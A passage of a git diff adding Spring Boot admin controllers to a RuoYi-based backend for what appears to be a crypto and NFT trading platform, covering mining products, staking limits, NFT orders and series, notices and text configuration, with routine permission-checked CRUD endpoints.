@PreAuthorize("@ss.hasPermi('bussiness:order:add')") + @Log(title = "ming", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TMingOrder tMingOrder) + { + return toAjax(tMingOrderService.insertTMingOrder(tMingOrder)); + } + + /** + * 修改ming + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:edit')") + @Log(title = "ming", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TMingOrder tMingOrder) + { + return toAjax(tMingOrderService.updateTMingOrder(tMingOrder)); + } + + /** + * 删除ming + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:remove')") + @Log(title = "ming", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tMingOrderService.deleteTMingOrderByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductController.java new file mode 100644 index 0000000..8612bee --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductController.java @@ -0,0 +1,104 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TMingProduct; +import com.ruoyi.bussiness.service.ITMingProductService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * mingProductController + * + * @author ruoyi + * @date 2023-08-18 + */ +@RestController +@RequestMapping("/bussiness/ming") +public class TMingProductController extends BaseController +{ + @Autowired + private ITMingProductService tMingProductService; + + /** + * 查询mingProduct列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ming:list')") + @GetMapping("/list") + public TableDataInfo list(TMingProduct tMingProduct) + { + startPage(); + List list = tMingProductService.selectTMingProductList(tMingProduct); + return getDataTable(list); + } + + /** + * 导出mingProduct列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ming:export')") + @Log(title = "mingProduct", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TMingProduct tMingProduct) + { + List list = tMingProductService.selectTMingProductList(tMingProduct); + ExcelUtil util = new ExcelUtil(TMingProduct.class); + util.exportExcel(response, list, "mingProduct数据"); + } + + /** + * 获取mingProduct详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ming:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tMingProductService.selectTMingProductById(id)); + } + + /** + * 新增mingProduct + */ + @PreAuthorize("@ss.hasPermi('bussiness:ming:add')") + @Log(title = "mingProduct", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TMingProduct tMingProduct) + { + return toAjax(tMingProductService.insertTMingProduct(tMingProduct)); + } + + /** + * 修改mingProduct + */ + @PreAuthorize("@ss.hasPermi('bussiness:ming:edit')") + @Log(title = "mingProduct", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TMingProduct tMingProduct) + { + return toAjax(tMingProductService.updateTMingProduct(tMingProduct)); + } + + /** + * 删除mingProduct + */ + @PreAuthorize("@ss.hasPermi('bussiness:ming:remove')") + @Log(title = "mingProduct", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tMingProductService.deleteTMingProductByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductUserController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductUserController.java new file mode 100644 index 0000000..6b42112 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductUserController.java @@ -0,0 +1,91 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TMingProductUser; +import com.ruoyi.bussiness.service.ITMingProductUserService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 用户购买质押限制Controller + * + * @author ruoyi + * @date 2023-10-11 + */ +@RestController +@RequestMapping("/bussiness/productUser") +public class TMingProductUserController extends BaseController +{ + @Autowired + private ITMingProductUserService tMingProductUserService; + + /** + * 查询用户购买质押限制列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:productUser:list')") + @GetMapping("/list") + public TableDataInfo list(TMingProductUser tMingProductUser) + { + startPage(); + List list = tMingProductUserService.selectTMingProductUserList(tMingProductUser); + return getDataTable(list); + } + + /** + * 获取用户购买质押限制详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:productUser:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tMingProductUserService.selectTMingProductUserById(id)); + } + + /** + * 新增用户购买质押限制 + */ + @PreAuthorize("@ss.hasPermi('bussiness:productUser:add')") + @Log(title = "用户购买质押限制", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TMingProductUser tMingProductUser) + { + return toAjax(tMingProductUserService.insertTMingProductUser(tMingProductUser)); + } + + /** + * 修改用户购买质押限制 + */ + @PreAuthorize("@ss.hasPermi('bussiness:productUser:edit')") + @Log(title = "用户购买质押限制", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TMingProductUser tMingProductUser) + { + return toAjax(tMingProductUserService.updateTMingProductUser(tMingProductUser)); + } + + /** + * 删除用户购买质押限制 + */ + @PreAuthorize("@ss.hasPermi('bussiness:productUser:remove')") + @Log(title = "用户购买质押限制", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tMingProductUserService.deleteTMingProductUserByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftOrderController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftOrderController.java new file mode 100644 index 0000000..f2b991a --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftOrderController.java @@ -0,0 +1,104 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TNftOrder; +import com.ruoyi.bussiness.service.ITNftOrderService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * nft订单Controller + * + * @author ruoyi + * @date 2023-09-01 + */ +@RestController +@RequestMapping("/bussiness/nftOrder") +public class TNftOrderController extends BaseController +{ + @Autowired + private ITNftOrderService tNftOrderService; + + /** + * 查询nft订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:nftOrder:list')") + @GetMapping("/list") + public TableDataInfo list(TNftOrder tNftOrder) + { + startPage(); + List list = tNftOrderService.selectTNftOrderList(tNftOrder); + return getDataTable(list); + } + + /** + * 导出nft订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:nftOrder:export')") + @Log(title = "nft订单", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TNftOrder tNftOrder) + { + List list = tNftOrderService.selectTNftOrderList(tNftOrder); + ExcelUtil util = new ExcelUtil(TNftOrder.class); + util.exportExcel(response, list, "nft订单数据"); + } + + /** + * 获取nft订单详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:nftOrder:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tNftOrderService.selectTNftOrderById(id)); + } + + /** + * 新增nft订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:nftOrder:add')") + @Log(title = "nft订单", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TNftOrder tNftOrder) + { + return toAjax(tNftOrderService.insertTNftOrder(tNftOrder)); + } + + /** + * 修改nft订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:nftOrder:edit')") + @Log(title = "nft订单", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TNftOrder tNftOrder) + { + return toAjax(tNftOrderService.updateTNftOrder(tNftOrder)); + } + + /** + * 删除nft订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:nftOrder:remove')") + @Log(title = "nft订单", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tNftOrderService.deleteTNftOrderByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftProductController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftProductController.java new file mode 100644 index 0000000..c47f87a --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftProductController.java @@ -0,0 +1,127 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TNftOrder; +import com.ruoyi.bussiness.domain.TNftSeries; +import com.ruoyi.bussiness.service.ITNftOrderService; +import com.ruoyi.bussiness.service.ITNftSeriesService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TNftProduct; +import com.ruoyi.bussiness.service.ITNftProductService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * nft详情Controller + * + * @author ruoyi + * @date 2023-09-01 + */ +@RestController +@RequestMapping("/bussiness/nftProduct") +public class TNftProductController extends BaseController +{ + @Autowired + private ITNftProductService tNftProductService; + @Resource + private ITNftSeriesService tNftSeriesService; + @Resource + private ITNftOrderService tNftOrderService; + + /** + * 查询nft详情列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:nftProduct:list')") + @GetMapping("/list") + public TableDataInfo list(TNftProduct tNftProduct) + { + startPage(); + List list = tNftProductService.selectTNftProductList(tNftProduct); + return getDataTable(list); + } + + /** + * 获取nft详情详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:nftProduct:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tNftProductService.selectTNftProductById(id)); + } + + /** + * 新增nft详情 + */ + @PreAuthorize("@ss.hasPermi('bussiness:nftProduct:add')") + @Log(title = "nft详情", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TNftProduct tNftProduct) + { + if (tNftProduct.getSeriesId()!=null){ + TNftSeries series = tNftSeriesService.getById(tNftProduct.getSeriesId()); + tNftProduct.setChainType(series.getChainType()); + }else{ + return AjaxResult.error("合集不能为空"); + } + return toAjax(tNftProductService.insertTNftProduct(tNftProduct)); + } + + /** + * 修改nft详情 + */ + @PreAuthorize("@ss.hasPermi('bussiness:nftProduct:edit')") + @Log(title = "nft详情", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TNftProduct tNftProduct) + { + TNftProduct oldProduct = tNftProductService.getById(tNftProduct.getId()); + List list = tNftOrderService.list(new LambdaQueryWrapper().eq(TNftOrder::getProductId, tNftProduct.getId())); + if ("2".equals(oldProduct.getStatus()) || CollectionUtils.isEmpty(list)){ + return AjaxResult.error("该藏品已上架/正在交易,不能修改!"); + } + return toAjax(tNftProductService.updateTNftProduct(tNftProduct)); + } + + @PreAuthorize("@ss.hasPermi('bussiness:nftProduct:upOrDown')") + @Log(title = "NFT藏品上下架", businessType = BusinessType.UPDATE) + @PostMapping("/upOrDownPro") + public AjaxResult upOrDownPro(@RequestBody TNftProduct tNftProduct) + { + return toAjax(tNftProductService.updateTNftProduct(tNftProduct)); + } + + /** + * 删除nft详情 + */ + @PreAuthorize("@ss.hasPermi('bussiness:nftProduct:remove')") + @Log(title = "nft详情", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long id) + { + TNftProduct oldProduct = tNftProductService.getById(id); + List list = tNftOrderService.list(new LambdaQueryWrapper().eq(TNftOrder::getProductId, id)); + if ("2".equals(oldProduct.getStatus()) || CollectionUtils.isEmpty(list)){ + return AjaxResult.error("该藏品已上架/正在交易,不能删除!"); + } + return toAjax(tNftProductService.deleteTNftProductById(id)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftSeriesController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftSeriesController.java new file mode 100644 index 0000000..6c3d758 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftSeriesController.java @@ -0,0 +1,114 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TNftProduct; +import com.ruoyi.bussiness.service.ITNftProductService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TNftSeries; +import com.ruoyi.bussiness.service.ITNftSeriesService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * nft合计Controller + * + * @author ruoyi + * @date 2023-09-01 + */ +@RestController +@RequestMapping("/bussiness/series") +public class TNftSeriesController extends BaseController +{ + @Autowired + private ITNftSeriesService tNftSeriesService; + @Resource + private ITNftProductService tNftProductService; + + /** + * 查询nft合计列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:series:list')") + @GetMapping("/list") + public TableDataInfo list(TNftSeries tNftSeries) + { + startPage(); + List list = tNftSeriesService.selectTNftSeriesList(tNftSeries); + return getDataTable(list); + } + + @PostMapping("/addProSeries") + public AjaxResult addProSeries() + { + List list = tNftSeriesService.selectTNftSeriesList(new TNftSeries()); + return AjaxResult.success(list); + } + /** + * 获取nft合计详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:series:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tNftSeriesService.selectTNftSeriesById(id)); + } + + /** + * 新增nft合计 + */ + @PreAuthorize("@ss.hasPermi('bussiness:series:add')") + @Log(title = "nft合计", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TNftSeries tNftSeries) + { + return toAjax(tNftSeriesService.insertTNftSeries(tNftSeries)); + } + + /** + * 修改nft合计 + */ + @PreAuthorize("@ss.hasPermi('bussiness:series:edit')") + @Log(title = "nft合计", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TNftSeries tNftSeries) + { + + List list = tNftProductService.list(new LambdaQueryWrapper().eq(TNftProduct::getSeriesId, tNftSeries.getId())); + if (!CollectionUtils.isEmpty(list)){ + return AjaxResult.error("该合集已被使用,不能修改"); + } + return toAjax(tNftSeriesService.updateTNftSeries(tNftSeries)); + } + + /** + * 删除nft合计 + */ + @PreAuthorize("@ss.hasPermi('bussiness:series:remove')") + @Log(title = "nft合计", businessType = BusinessType.DELETE) + @DeleteMapping("/{id}") + public AjaxResult remove(@PathVariable Long id) + { + List list = tNftProductService.list(new LambdaQueryWrapper().eq(TNftProduct::getSeriesId, id)); + if (!CollectionUtils.isEmpty(list)){ + return AjaxResult.error("该合集已被使用,不能删除"); + } + return toAjax(tNftSeriesService.deleteTNftSeriesById(id)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNoticeController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNoticeController.java new file mode 100644 index 0000000..e4188ae --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNoticeController.java @@ -0,0 +1,160 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import java.util.Map; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.common.enums.HttpMethod; +import com.ruoyi.common.enums.NoticeTypeEnum; +import com.ruoyi.common.enums.OptionRulesEnum; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TNotice; +import com.ruoyi.bussiness.service.ITNoticeService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 通知公告Controller + * + * @author ruoyi + * @date 2023-07-20 + */ +@RestController +@RequestMapping("/bussiness/notice") +public class TNoticeController extends BaseController +{ + @Autowired + private ITNoticeService tNoticeService; + + /** + * 查询通知公告列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:notice:list')") + @GetMapping("/list") + public TableDataInfo list(TNotice tNotice) + { + tNotice.setNoticeType(NoticeTypeEnum.valueOf(tNotice.getKey()).getCode()); + if (StringUtils.isNotBlank(tNotice.getModelKey())){ + tNotice.setModelType(NoticeTypeEnum.ChildrenEnum.valueOf(tNotice.getModelKey()).getCode()); + } + startPage(); + List list = tNoticeService.selectTNoticeList(tNotice); + NoticeTypeEnum[] typeEnumList = NoticeTypeEnum.values(); + NoticeTypeEnum.ChildrenEnum[] childrenEnumList = NoticeTypeEnum.ChildrenEnum.values(); + for (TNotice notice:list) { + if (notice.getModelType()!=null){ + for (int i = 0; i < childrenEnumList.length; i++) { + if (notice.getNoticeType().equals(childrenEnumList[i].getPrent().getCode()) && childrenEnumList[i].getCode().equals(notice.getModelType())){ + notice.setModelType(childrenEnumList[i].getValue()); + notice.setModelKey(childrenEnumList[i].name()); + } + } + } + for (NoticeTypeEnum typeEnum:typeEnumList) { + if (typeEnum.getCode().equals(notice.getNoticeType())){ + notice.setNoticeType(typeEnum.getValue()); + notice.setKey(typeEnum.name()); + } + } + } + return getDataTable(list); + } + + /** + * 导出通知公告列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:notice:export')") + @Log(title = "通知公告", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TNotice tNotice) + { + List list = tNoticeService.selectTNoticeList(tNotice); + ExcelUtil util = new ExcelUtil(TNotice.class); + util.exportExcel(response, list, "通知公告数据"); + } + + /** + * 获取通知公告详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:notice:query')") + @GetMapping(value = "/{noticeId}") + public AjaxResult getInfo(@PathVariable("noticeId") Long noticeId) + { + TNotice tNotice = tNoticeService.selectTNoticeByNoticeId(noticeId); + NoticeTypeEnum[] typeEnumList = NoticeTypeEnum.values(); + NoticeTypeEnum.ChildrenEnum[] childrenEnumList = NoticeTypeEnum.ChildrenEnum.values(); + if (tNotice.getModelType()!=null){ + for (int i = 0; i < childrenEnumList.length; i++) { + if (tNotice.getNoticeType().equals(childrenEnumList[i].getPrent().getCode()) && childrenEnumList[i].getCode().equals(tNotice.getModelType())){ +// tNotice.setModelType(childrenEnumList[i].getValue()); + tNotice.setModelKey(childrenEnumList[i].name()); + } + } + } + for (NoticeTypeEnum typeEnum:typeEnumList) { + if (typeEnum.getCode().equals(tNotice.getNoticeType())){ +// tNotice.setNoticeType(typeEnum.getValue()); + tNotice.setKey(typeEnum.name()); + } + } + return success(tNotice); + } + + /** + * 新增通知公告 + */ + @PreAuthorize("@ss.hasPermi('bussiness:notice:add')") + @Log(title = "通知公告", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TNotice tNotice) + { + return toAjax(tNoticeService.insertTNotice(tNotice)); + } + + /** + * 修改通知公告 + */ + @PreAuthorize("@ss.hasPermi('bussiness:notice:edit')") + @Log(title = "通知公告", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TNotice tNotice) + { + return toAjax(tNoticeService.updateTNotice(tNotice)); + } + + /** + * 删除通知公告 + */ + @PreAuthorize("@ss.hasPermi('bussiness:notice:remove')") + @Log(title = "通知公告", businessType = BusinessType.DELETE) + @DeleteMapping("/{noticeIds}") + public AjaxResult remove(@PathVariable Long[] noticeIds) + { + return toAjax(tNoticeService.deleteTNoticeByNoticeIds(noticeIds)); + } + + /** + * 获取公告管理枚举list + * @return + */ + @PreAuthorize("@ss.hasPermi('bussiness:notice:NoticeTypeList')") + @GetMapping("/noticeTypeList") + public TableDataInfo noticeTypeList() + { + return getDataTable(NoticeTypeEnum.getEnum()); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOptionRulesController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOptionRulesController.java new file mode 100644 index 0000000..150d077 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOptionRulesController.java @@ -0,0 +1,120 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.common.enums.OptionRulesEnum; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TOptionRules; +import com.ruoyi.bussiness.service.ITOptionRulesService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 前台文本配置Controller + * + * @author ruoyi + * @date 2023-07-19 + */ +@RestController +@RequestMapping("/bussiness/option/rules") +public class TOptionRulesController extends BaseController +{ + @Autowired + private ITOptionRulesService tOptionRulesService; + + /** + * 查询前台文本配置列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:rules:list')") + @GetMapping("/list") + public TableDataInfo list(TOptionRules tOptionRules) + { + tOptionRules.setType(OptionRulesEnum.valueOf(tOptionRules.getKey()).getCode()); + startPage(); + List list = tOptionRulesService.selectTOptionRulesList(tOptionRules); + return getDataTable(list); + } + + /** + * 查询前台文本配置菜单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:rules:labelList')") + @GetMapping("/labelList") + public TableDataInfo labelList() + { + return getDataTable(OptionRulesEnum.getEnum()); + } + + /** + * 导出前台文本配置列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:rules:export')") + @Log(title = "前台文本配置", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TOptionRules tOptionRules) + { + List list = tOptionRulesService.selectTOptionRulesList(tOptionRules); + ExcelUtil util = new ExcelUtil(TOptionRules.class); + util.exportExcel(response, list, "前台文本配置数据"); + } + + /** + * 获取前台文本配置详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:rules:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tOptionRulesService.selectTOptionRulesById(id)); + } + + /** + * 新增前台文本配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:rules:add')") + @Log(title = "前台文本配置", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TOptionRules tOptionRules) + { + tOptionRules.setType(OptionRulesEnum.valueOf(tOptionRules.getKey()).getCode()); + return toAjax(tOptionRulesService.insertTOptionRules(tOptionRules)); + } + + /** + * 修改前台文本配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:rules:edit')") + @Log(title = "前台文本配置", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TOptionRules tOptionRules) + { + return toAjax(tOptionRulesService.updateTOptionRules(tOptionRules)); + } + + /** + * 删除前台文本配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:rules:remove')") + @Log(title = "前台文本配置", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tOptionRulesService.deleteTOptionRulesByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinController.java new file mode 100644 index 0000000..b1a1761 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinController.java @@ -0,0 +1,186 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import java.util.Objects; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.domain.TOwnCoinSubscribeOrder; +import com.ruoyi.bussiness.domain.TSpontaneousCoin; +import com.ruoyi.bussiness.service.IKlineSymbolService; +import com.ruoyi.bussiness.service.ITSpontaneousCoinService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TOwnCoin; +import com.ruoyi.bussiness.service.ITOwnCoinService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 发币Controller + 